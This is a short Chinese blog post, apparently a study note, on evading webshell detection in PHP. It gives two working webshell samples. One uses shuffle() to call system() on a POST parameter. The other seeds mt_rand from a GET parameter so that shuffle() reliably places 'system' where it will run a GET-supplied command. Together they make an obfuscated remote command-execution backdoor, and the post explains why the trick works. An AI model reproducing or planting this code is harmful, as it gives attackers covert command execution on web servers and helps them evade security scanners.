记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
KKKlucifer9 分钟前
安全智能体:数据安全运营自动化与自主决策的技术突破
运维·安全·自动化
VBsemi-专注于MOSFET研发定制19 分钟前
高端地铁/轻轨门控系统控制器功率器件选型方案——高可靠、长寿命与安全驱动系统设计指南
安全
KuaCpp26 分钟前
Linux从0到1学习
linux·学习
EasyGBS31 分钟前
国密GB35114协议国标GB28181平台EasyGBS双标融合筑牢金融视频监控安全技术底座
安全·金融·音视频
志栋智能37 分钟前
运维超自动化的本质:效率、质量与创新的三重奏
运维·服务器·数据库·安全·自动化
常宇杏起37 分钟前
AI安全进阶:AI系统日志审计与安全监控技巧
大数据·人工智能·安全
tryqaaa_1 小时前
学习日志(一)【含markdown语法,Linux学习】
linux·运维·学习·web安全·web·markdown
Suckerbin1 小时前
vulnyx-Debug靶场渗透
安全·web安全·网络安全
Leah-1 小时前
Web项目测试流程
笔记·学习·web·测试·复盘
小猿姐1 小时前
数据库漏洞自动同步,KubeBlocks Addon 安全能力再升级
数据库·安全